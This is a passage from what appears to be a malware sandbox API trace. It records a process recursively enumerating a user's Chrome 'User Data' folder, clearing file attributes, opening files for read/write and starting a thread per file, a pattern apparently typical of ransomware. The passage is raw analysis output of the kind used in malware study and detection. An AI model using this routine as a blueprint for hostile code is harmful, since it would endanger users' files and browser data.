0xa00 [0140.431] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8f08 [0140.431] wcscpy (in: _Dest=0x8e8f08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" [0140.432] wcscat (in: _Dest=0x8e8f08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\" [0140.432] wcscat (in: _Dest=0x8e8f08, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*" [0140.432] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92b630 [0140.432] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*", lpFindFileData=0x92b630 | out: lpFindFileData=0x92b630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9421f0 [0142.844] wcscmp (_String1=".", _String2=".") returned 0 [0142.844] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x92b630 | out: lpFindFileData=0x92b630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.844] wcscmp (_String1="..", _String2=".") returned 1 [0142.844] wcscmp (_String1="..", _String2="..") returned 0 [0142.844] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x92b630 | out: lpFindFileData=0x92b630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0142.844] wcscmp (_String1="Chrome", _String2=".") returned 1 [0142.844] wcscmp (_String1="Chrome", _String2="..") returned 1 [0142.844] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0200 [0142.844] wcscpy (in: _Dest=0x8d0200, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" [0142.844] wcscat (in: _Dest=0x8d0200, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\" [0142.844] wcscat (in: _Dest=0x8d0200, _Source="Chrome" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" [0151.290] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0580 [0151.290] wcscpy (in: _Dest=0x8d0580, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" [0151.290] wcscat (in: _Dest=0x8d0580, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\" [0151.290] wcscat (in: _Dest=0x8d0580, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*" [0151.290] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bcab8 [0151.290] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x9bcab8 | out: lpFindFileData=0x9bcab8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942570 [0151.290] wcscmp (_String1=".", _String2=".") returned 0 [0151.290] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x9bcab8 | out: lpFindFileData=0x9bcab8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.290] wcscmp (_String1="..", _String2=".") returned 1 [0151.290] wcscmp (_String1="..", _String2="..") returned 0 [0151.290] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x9bcab8 | out: lpFindFileData=0x9bcab8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0151.290] wcscmp (_String1="User Data", _String2=".") returned 1 [0151.290] wcscmp (_String1="User Data", _String2="..") returned 1 [0151.290] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e7958 [0151.290] wcscpy (in: _Dest=0x8e7958, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" [0151.290] wcscat (in: _Dest=0x8e7958, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\" [0151.290] wcscat (in: _Dest=0x8e7958, _Source="User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0151.291] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x93fe10 [0151.291] wcscpy (in: _Dest=0x93fe10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0151.291] wcscat (in: _Dest=0x93fe10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0151.291] wcscat (in: _Dest=0x93fe10, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*" [0151.291] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bbc48 [0151.291] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9420b0 [0151.308] wcscmp (_String1=".", _String2=".") returned 0 [0151.308] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.330] wcscmp (_String1="..", _String2=".") returned 1 [0151.330] wcscmp (_String1="..", _String2="..") returned 0 [0151.330] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0151.330] wcscmp (_String1="CertificateTransparency", _String2=".") returned 1 [0151.331] wcscmp (_String1="CertificateTransparency", _String2="..") returned 1 [0151.331] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb8) returned 0xd4c62c0 [0151.331] wcscpy (in: _Dest=0xd4c62c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0151.331] wcscat (in: _Dest=0xd4c62c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0151.331] wcscat (in: _Dest=0xd4c62c0, _Source="CertificateTransparency" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0151.331] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xbc) returned 0xd4ba048 [0151.331] wcscpy (in: _Dest=0xd4ba048, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0151.331] wcscat (in: _Dest=0xd4ba048, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\" [0151.331] wcscat (in: _Dest=0xd4ba048, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*" [0151.331] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bd928 [0151.331] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da190 [0151.344] wcscmp (_String1=".", _String2=".") returned 0 [0151.344] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.344] wcscmp (_String1="..", _String2=".") returned 1 [0151.344] wcscmp (_String1="..", _String2="..") returned 0 [0151.344] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.344] FindClose (in: hFindFile=0x8da190 | out: hFindFile=0x8da190) returned 1 [0151.345] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bd928) returned 1 [0151.345] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ba048) returned 1 [0151.345] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c62c0) returned 1 [0151.345] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0151.345] wcscmp (_String1="Crashpad", _String2=".") returned 1 [0151.345] wcscmp (_String1="Crashpad", _String2="..") returned 1 [0151.345] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935590 [0151.345] wcscpy (in: _Dest=0x935590, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0151.345] wcscat (in: _Dest=0x935590, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0151.345] wcscat (in: _Dest=0x935590, _Source="Crashpad" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0151.345] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x934528 [0151.345] wcscpy (in: _Dest=0x934528, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0151.345] wcscat (in: _Dest=0x934528, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0151.345] wcscat (in: _Dest=0x934528, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*" [0151.345] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bd928 [0151.345] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da190 [0151.352] wcscmp (_String1=".", _String2=".") returned 0 [0151.352] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.352] wcscmp (_String1="..", _String2=".") returned 1 [0151.352] wcscmp (_String1="..", _String2="..") returned 0 [0151.352] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f5beda0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata", cAlternateFileName="")) returned 1 [0151.352] wcscmp (_String1="metadata", _String2=".") returned 1 [0151.352] wcscmp (_String1="metadata", _String2="..") returned 1 [0151.352] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xac) returned 0x8f49f8 [0151.352] wcscpy (in: _Dest=0x8f49f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0151.352] wcscat (in: _Dest=0x8f49f8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0151.352] wcscat (in: _Dest=0x8f49f8, _Source="metadata" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata" [0151.352] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\metadata")) returned 0x2020 [0151.362] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata", dwFileAttributes=0x20) returned 1 [0151.362] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\metadata"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x194c [0151.362] GetFileSizeEx (in: hFile=0x194c, lpFileSize=0x7a0f67c | out: lpFileSize=0x7a0f67c*=0) returned 1 [0151.362] FlushFileBuffers (hFile=0x194c) returned 1 [0152.582] CloseHandle (hObject=0x194c) returned 1 [0152.583] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata", dwFileAttributes=0x2020) returned 1 [0152.583] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f49f8) returned 1 [0152.583] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="reports", cAlternateFileName="")) returned 1 [0152.583] wcscmp (_String1="reports", _String2=".") returned 1 [0152.583] wcscmp (_String1="reports", _String2="..") returned 1 [0152.583] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f49f8 [0152.583] wcscpy (in: _Dest=0x8f49f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0152.583] wcscat (in: _Dest=0x8f49f8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0152.583] wcscat (in: _Dest=0x8f49f8, _Source="reports" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" [0152.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f49f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc [0152.924] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3a6374a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0152.924] wcscmp (_String1="settings.dat", _String2=".") returned 1 [0152.924] wcscmp (_String1="settings.dat", _String2="..") returned 1 [0152.924] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb4) returned 0xd4c65c0 [0152.924] wcscpy (in: _Dest=0xd4c65c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0152.924] wcscat (in: _Dest=0xd4c65c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0152.924] wcscat (in: _Dest=0xd4c65c0, _Source="settings.dat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" [0152.924] CreateThread (in: lpThreadAttributes=0x0, 